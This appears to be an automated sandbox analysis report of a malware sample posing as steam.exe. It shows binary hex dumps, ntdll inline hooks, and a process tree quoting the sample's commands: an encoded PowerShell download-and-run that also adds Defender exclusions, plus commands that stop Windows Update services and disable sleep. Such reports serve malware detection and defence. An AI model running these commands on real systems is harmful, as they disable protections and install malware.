2024-06-04 11:41:07 UTC	813	IN	HTTP/1.1 200 OK Connection: close Content-Length: 10426648 Content-Type: application/octet-stream Content-MD5: MnuO0M3rrmlicYZWtacqTA== Last-Modified: Sat, 29 Jul 2023 11:23:40 GMT ETag: "0x8DB902642DB121E" Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 9ec76d0b-c01e-0025-675f-b64829000000 x-ms-version: 2020-10-02 x-ms-creation-time: Sat, 29 Jul 2023 11:23:40 GMT x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob Content-Disposition: attachment; filename=steam.exe x-ms-server-encrypted: true Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 0 Date: Tue, 04 Jun 2024 11:41:07 GMT X-Served-By: cache-iad-kcgs7200162-IAD, cache-dfw-kdfw8210120-DFW X-Cache: HIT, MISS X-Cache-Hits: 3, 0 X-Timer: S1717501267.034601,VS0,VE163
2024-06-04 11:41:07 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 69 f1 c4 64 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 26 00 e8 01 00 00 ec 9e 00 00 3e 00 00 b0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 90 9f 00 00 04 00 00 93 be 9f 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@hr!L!This program cannot be run in DOS mode.$PEdid.&>@`
2024-06-04 11:41:07 UTC	1378	IN	Data Raw: 24 20 48 8b 05 05 a6 9e 00 44 8b 08 e8 c5 c0 01 00 90 48 83 c4 38 c3 0f 1f 80 00 00 00 00 41 55 41 54 55 57 56 53 48 81 ec 98 00 00 00 31 c0 b9 0d 00 00 00 48 8d 54 24 20 48 89 d7 f3 48 ab 48 8b 3d f8 a4 9e 00 44 8b 0f 45 85 c9 0f 85 9c 02 00 00 65 48 8b 04 25 30 00 00 00 48 8b 1d 2c a5 9e 00 31 ed 48 8b 70 08 4c 8b 25 63 31 9f 00 eb 11 48 39 c6 0f 84 14 02 00 00 b9 e8 03 00 00 41 ff d4 48 89 e8 f0 48 0f b1 33 48 85 c0 75 e2 48 8b 35 08 a5 9e 00 31 ed 8b 06 83 f8 01 0f 84 02 02 00 00 8b 06 85 c0 0f 84 71 02 00 00 c7 05 ef ed 9e 00 01 00 00 00 8b 06 83 f8 01 0f 84 f8 01 00 00 85 ed 0f 84 11 02 00 00 48 8b 05 0d a4 9e 00 48 8b 00 48 85 c0 74 0c 45 31 c0 ba 02 00 00 00 31 c9 ff d0 e8 d4 31 01 00 48 8d 0d 9d 35 01 00 ff 15 d3 30 9f 00 48 8b 15 80 a4 9e 00 48 Data Ascii: $ HDH8AUATUWVSH1HT$ HHH=DEeH%0H,1HpL%c1H9AHH3HuH51qHHHtE111H50HH
2024-06-04 11:41:07 UTC	1378	IN	Data Raw: 00 48 8d 50 72 66 c7 00 00 00 48 83 c0 02 48 39 d0 75 f2 c3 48 8d 05 01 12 9f 00 48 8d 50 12 66 c7 00 00 00 48 83 c0 02 48 39 d0 75 f2 c3 48 8d 05 67 11 9f 00 48 8d 50 74 66 c7 00 00 00 48 83 c0 02 48 39 d0 75 f2 c3 48 8d 05 2d 11 9f 00 48 8d 50 14 66 c7 00 00 00 48 83 c0 02 48 39 d0 75 f2 c3 48 8d 05 d3 0f 9f 00 48 8d 90 30 01 00 00 66 c7 00 00 00 48 83 c0 02 48 39 d0 75 f2 c3 48 8d 05 76 0f 9f 00 48 8d 50 26 66 c7 00 00 00 48 83 c0 02 48 39 d0 75 f2 c3 48 8d 05 34 0f 9f 00 48 8d 50 0b c6 00 00 48 83 c0 01 48 39 d0 75 f4 c3 48 8d 05 04 0f 9f 00 48 8d 50 0f c6 00 00 48 83 c0 01 48 39 d0 75 f4 c3 48 8d 05 cc 0e 9f 00 48 8d 50 0d c6 00 00 48 83 c0 01 48 39 d0 75 f4 c3 48 8d 05 94 0e 9f 00 48 8d 50 11 c6 00 00 48 83 c0 01 48 39 d0 75 f4 c3 48 8d 05 5c 0e 9f Data Ascii: HPrfHH9uHHPfHH9uHgHPtfHH9uH-HPfHH9uHH0fHH9uHvHP&fHH9uH4HPHH9uHHPHH9uHHPHH9uHHPHH9uH\
2024-06-04 11:41:07 UTC	1378	IN	Data Raw: 8d 05 54 04 9f 00 48 8d 50 10 c6 00 00 48 83 c0 01 48 39 d0 75 f4 c3 48 8d 05 1c 04 9f 00 48 8d 50 0f c6 00 00 48 83 c0 01 48 39 d0 75 f4 c3 48 8d 05 ec 03 9f 00 48 8d 50 0b c6 00 00 48 83 c0 01 48 39 d0 75 f4 c3 48 8d 05 bc 03 9f 00 48 8d 50 0e c6 00 00 48 83 c0 01 48 39 d0 75 f4 c3 48 8d 05 84 03 9f 00 48 8d 50 12 c6 00 00 48 83 c0 01 48 39 d0 75 f4 c3 48 8d 05 4c 03 9f 00 48 8d 50 12 c6 00 00 48 83 c0 01 48 39 d0 75 f4 c3 48 8d 05 14 03 9f 00 48 8d 50 0e c6 00 00 48 83 c0 01 48 39 d0 75 f4 c3 48 8d 05 dc 02 9f 00 48 8d 50 17 c6 00 00 48 83 c0 01 48 39 d0 75 f4 c3 48 8d 05 a4 02 9f 00 48 8d 50 13 c6 00 00 48 83 c0 01 48 39 d0 75 f4 c3 48 8d 05 6c 02 9f 00 48 8d 50 13 c6 00 00 48 83 c0 01 48 39 d0 75 f4 c3 48 8d 05 34 02 9f 00 48 8d 50 0f c6 00 00 48 83 Data Ascii: THPHH9uHHPHH9uHHPHH9uHHPHH9uHHPHH9uHLHPHH9uHHPHH9uHHPHH9uHHPHH9uHlHPHH9uH4HPH
2024-06-04 11:41:07 UTC	1378	IN	Data Raw: f3 ff ff 48 8d 05 ce 09 9f 00 48 81 c4 a8 00 00 00 c3 48 81 ec a8 00 00 00 66 c7 44 24 20 65 00 66 c7 44 24 22 5b 00 66 c7 44 24 24 6e 00 66 c7 44 24 26 70 00 66 c7 44 24 28 72 00 66 c7 44 24 2a 7c 00 66 c7 44 24 2c 7d 00 66 c7 44 24 2e 7b 00 66 c7 44 24 30 82 00 66 c7 44 24 32 65 00 66 c7 44 24 34 56 00 66 c7 44 24 36 6a 00 66 c7 44 24 38 6c 00 66 c7 44 24 3a 71 00 66 c7 44 24 3c 72 00 66 c7 44 24 3e 77 00 66 c7 44 24 40 6e 00 66 c7 44 24 42 65 00 66 c7 44 24 44 5c 00 66 c7 44 24 46 62 00 66 c7 44 24 48 5c 00 66 c7 44 24 4a 5d 00 66 c7 44 24 4c 4e 00 66 c7 44 24 4e 56 00 66 c7 44 24 50 65 00 66 c7 44 24 52 4c 00 66 c7 44 24 54 7e 00 66 c7 44 24 56 7b 00 66 c7 44 24 58 7b 00 66 c7 44 24 5a 6e 00 66 c7 44 24 5c 77 00 66 c7 44 24 5e 7d 00 66 c7 44 24 60 4c Data Ascii: HHHfD$ efD$"[fD$$nfD$&pfD$(rfD$*\|fD$,}fD$.{fD$0fD$2efD$4VfD$6jfD$8lfD$:qfD$<rfD$>wfD$@nfD$BefD$D\fD$FbfD$H\fD$J]fD$LNfD$NVfD$PefD$RLfD$T~fD$V{fD$X{fD$ZnfD$\wfD$^}fD$`L
2024-06-04 11:41:07 UTC	1378	IN	Data Raw: 05 28 ff 9e 00 01 48 8d 0d c6 f0 ff ff e8 f4 ed ff ff 48 8d 05 1d ff 9e 00 48 83 c4 38 c3 48 83 ec 38 c6 44 24 21 03 c6 44 24 22 53 c6 44 24 23 46 c6 44 24 24 53 c6 44 24 25 55 c6 44 24 26 52 c6 44 24 27 57 c6 44 24 28 48 c6 44 24 29 46 c6 44 24 2a 57 c6 44 24 2b 11 c6 44 24 2c 46 c6 44 24 2d 52 c6 44 24 2e 50 c6 44 24 2f e3 80 3d 3a fe 9e 00 00 75 38 c6 05 48 fe 9e 00 01 b8 00 00 00 00 48 8d 0d 2d fe 9e 00 0f b6 54 04 21 88 14 01 48 83 c0 01 48 83 f8 0f 75 ee c6 05 0c fe 9e 00 01 48 8d 0d 8a f0 ff ff e8 58 ed ff ff 48 8d 05 01 fe 9e 00 48 83 c4 38 c3 48 83 ec 38 c6 44 24 21 03 c6 44 24 22 58 c6 44 24 23 56 c6 44 24 24 11 c6 44 24 25 51 c6 44 24 26 52 c6 44 24 27 55 c6 44 24 28 57 c6 44 24 29 52 c6 44 24 2a 51 c6 44 24 2b 11 c6 44 24 2c 46 c6 44 24 2d 52 Data Ascii: (HHH8H8D$!D$"SD$#FD$$SD$%UD$&RD$'WD$(HD$)FD$WD$+D$,FD$-RD$.PD$/=:u8HH-T!HHuHXHH8H8D$!D$"XD$#VD$$D$%QD$&RD$'UD$(WD$)RD$QD$+D$,FD$-R
2024-06-04 11:41:07 UTC	1378	IN	Data Raw: 48 8d 0d fd f2 9e 00 0f b6 54 04 21 88 14 01 48 83 c0 01 48 83 f8 0f 75 ee c6 05 dc f2 9e 00 01 48 8d 0d a2 f0 ff ff e8 78 e8 ff ff 48 8d 05 d1 f2 9e 00 48 83 c4 38 c3 48 83 ec 38 c6 44 24 23 03 c6 44 24 24 57 c6 44 24 25 52 c6 44 24 26 57 c6 44 24 27 44 c6 44 24 28 4f c6 44 24 29 44 c6 44 24 2a 59 c6 44 24 2b 11 c6 44 24 2c 46 c6 44 24 2d 52 c6 44 24 2e 50 c6 44 24 2f e3 80 3d 88 f9 9e 00 00 75 38 c6 05 94 f9 9e 00 01 b8 00 00 00 00 48 8d 0d 7b f9 9e 00 0f b6 54 04 23 88 14 01 48 83 c0 01 48 83 f8 0d 75 ee c6 05 5a f9 9e 00 01 48 8d 0d 88 ea ff ff e8 e6 e7 ff ff 48 8d 05 4f f9 9e 00 48 83 c4 38 c3 48 83 ec 48 c6 44 24 20 03 c6 44 24 21 5a c6 44 24 22 5a c6 44 24 23 5a c6 44 24 24 11 c6 44 24 25 57 c6 44 24 26 52 c6 44 24 27 57 c6 44 24 28 44 c6 44 24 29 Data Ascii: HT!HHuHxHH8H8D$#D$$WD$%RD$&WD$'DD$(OD$)DD$*YD$+D$,FD$-RD$.PD$/=u8H{T#HHuZHHOH8HHD$ D$!ZD$"ZD$#ZD$$D$%WD$&RD$'WD$(DD$)
2024-06-04 11:41:07 UTC	1378	IN	Data Raw: 00 48 83 c4 48 c3 48 83 ec 48 c6 44 24 20 03 c6 44 24 21 5a c6 44 24 22 5a c6 44 24 23 5a c6 44 24 24 11 c6 44 24 25 58 c6 44 24 26 56 c6 44 24 27 11 c6 44 24 28 51 c6 44 24 29 52 c6 44 24 2a 55 c6 44 24 2b 57 c6 44 24 2c 52 c6 44 24 2d 51 c6 44 24 2e 11 c6 44 24 2f 46 c6 44 24 30 52 c6 44 24 31 50 c6 44 24 32 e3 80 3d 9a f2 9e 00 00 75 38 c6 05 ac f2 9e 00 01 b8 00 00 00 00 48 8d 0d 8d f2 9e 00 0f b6 54 04 20 88 14 01 48 83 c0 01 48 83 f8 13 75 ee c6 05 6c f2 9e 00 01 48 8d 0d 72 e6 ff ff e8 98 e2 ff ff 48 8d 05 61 f2 9e 00 48 83 c4 48 c3 48 83 ec 48 c6 44 24 20 03 c6 44 24 21 53 c6 44 24 22 44 c6 44 24 23 51 c6 44 24 24 47 c6 44 24 25 44 c6 44 24 26 56 c6 44 24 27 48 c6 44 24 28 46 c6 44 24 29 58 c6 44 24 2a 55 c6 44 24 2b 4c c6 44 24 2c 57 c6 44 24 2d Data Ascii: HHHHD$ D$!ZD$"ZD$#ZD$$D$%XD$&VD$'D$(QD$)RD$UD$+WD$,RD$-QD$.D$/FD$0RD$1PD$2=u8HT HHulHrHaHHHHD$ D$!SD$"DD$#QD$$GD$%DD$&VD$'HD$(FD$)XD$UD$+LD$,WD$-
2024-06-04 11:41:07 UTC	1378	IN	Data Raw: 83 f8 13 75 ee c6 05 44 e8 9e 00 01 48 8d 0d da e5 ff ff e8 c8 dd ff ff 48 8d 05 41 e8 9e 00 48 83 c4 48 c3 48 83 ec 48 c6 44 24 20 03 c6 44 24 21 57 c6 44 24 22 52 c6 44 24 23 57 c6 44 24 24 44 c6 44 24 25 4f c6 44 24 26 44 c6 44 24 27 47 c6 44 24 28 45 c6 44 24 29 4f c6 44 24 2a 52 c6 44 24 2b 46 c6 44 24 2c 4e c6 44 24 2d 11 c6 44 24 2e 46 c6 44 24 2f 52 c6 44 24 30 50 c6 44 24 31 e3 80 3d 3f ee 9e 00 00 75 38 c6 05 50 ee 9e 00 01 b8 00 00 00 00 48 8d 0d 32 ee 9e 00 0f b6 54 04 20 88 14 01 48 83 c0 01 48 83 f8 12 75 ee c6 05 11 ee 9e 00 01 48 8d 0d 1f e0 ff ff e8 1d dd ff ff 48 8d 05 06 ee 9e 00 48 83 c4 48 c3 90 48 83 ec 48 c6 44 24 20 03 c6 44 24 21 50 c6 44 24 22 44 c6 44 24 23 4f c6 44 24 24 5a c6 44 24 25 44 c6 44 24 26 55 c6 44 24 27 48 c6 44 24 Data Ascii: uDHHAHHHHD$ D$!WD$"RD$#WD$$DD$%OD$&DD$'GD$(ED$)OD$*RD$+FD$,ND$-D$.FD$/RD$0PD$1=?u8PH2T HHuHHHHHHD$ D$!PD$"DD$#OD$$ZD$%DD$&UD$'HD$
2024-06-04 11:41:07 UTC	1378	IN	Data Raw: 00 01 b8 00 00 00 00 48 8d 0d c0 e8 9e 00 0f b6 54 04 20 88 14 01 48 83 c0 01 48 83 f8 10 75 ee c6 05 9f e8 9e 00 01 48 8d 0d c5 db ff ff e8 4b d8 ff ff 48 8d 05 94 e8 9e 00 48 83 c4 38 c3 90 48 83 ec 38 c6 44 24 20 03 c6 44 24 21 5a c6 44 24 22 5a c6 44 24 23 5a c6 44 24 24 11 c6 44 24 25 51 c6 44 24 26 52 c6 44 24 27 55 c6 44 24 28 57 c6 44 24 29 52 c6 44 24 2a 51 c6 44 24 2b 11 c6 44 24 2c 46 c6 44 24 2d 52 c6 44 24 2e 50 c6 44 24 2f e3 80 3d 43 e6 9e 00 00 75 38 c6 05 5a e6 9e 00 01 b8 00 00 00 00 48 8d 0d 3e e6 9e 00 0f b6 54 04 20 88 14 01 48 83 c0 01 48 83 f8 10 75 ee c6 05 15 e6 9e 00 01 48 8d 0d a3 dc ff ff e8 a9 d7 ff ff 48 8d 05 12 e6 9e 00 48 83 c4 38 c3 90 48 83 ec 38 c6 44 24 20 03 c6 44 24 21 5a c6 44 24 22 5a c6 44 24 23 5a c6 44 24 24 11 Data Ascii: HT HHuHKHH8H8D$ D$!ZD$"ZD$#ZD$$D$%QD$&RD$'UD$(WD$)RD$*QD$+D$,FD$-RD$.PD$/=Cu8ZH>T HHuHHH8H8D$ D$!ZD$"ZD$#ZD$$

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	07:41:01
Start date:	04/06/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe"
Imagebase:	0x400000
File size:	4'608 bytes
MD5 hash:	3B5865192EA41263BE0A78B4D8A7C795
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:41:01
Start date:	04/06/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABsAHMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBpAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcwBwAHIAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwB0AGEAcgB6AGEAbgByAGUALwBtAHkAcgBlAHAAbwAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvAGEALwBzAHQAZQBhAG0ALgBlAHgAZQAnACwAIAA8ACMAdQBnAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHEAYQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBjAHoAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwAuAGUAeABlACcAKQApADwAIwB2AHQAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB1AHcAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbABzAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwB2AGMALgBlAHgAZQAnACkAPAAjAGcAZwBtACMAPgA="
Imagebase:	0xc80000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:41:01
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:41:08
Start date:	04/06/2024
Path:	C:\Users\user\AppData\Local\Temp\svc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\svc.exe"
Imagebase:	0x7ff6fb800000
File size:	10'426'648 bytes
MD5 hash:	327B8ED0CDEBAE6962718656B5A72A4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs Detection: 68%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:41:08
Start date:	04/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:41:08
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:41:11
Start date:	04/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
Imagebase:	0x7ff78e560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:41:11
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x6d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:41:11
Start date:	04/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop UsoSvc
Imagebase:	0x7ff61f630000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:41:11
Start date:	04/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop WaaSMedicSvc
Imagebase:	0x7ff61f630000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:41:11
Start date:	04/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop wuauserv
Imagebase:	0x7ff61f630000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:41:11
Start date:	04/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop bits
Imagebase:	0x7ff61f630000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:41:11
Start date:	04/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop dosvc
Imagebase:	0x7ff61f630000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:41:11
Start date:	04/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff78e560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:41:12
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:41:12
Start date:	04/06/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dialer.exe
Imagebase:	0x7ff7e1140000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	07:41:12
Start date:	04/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
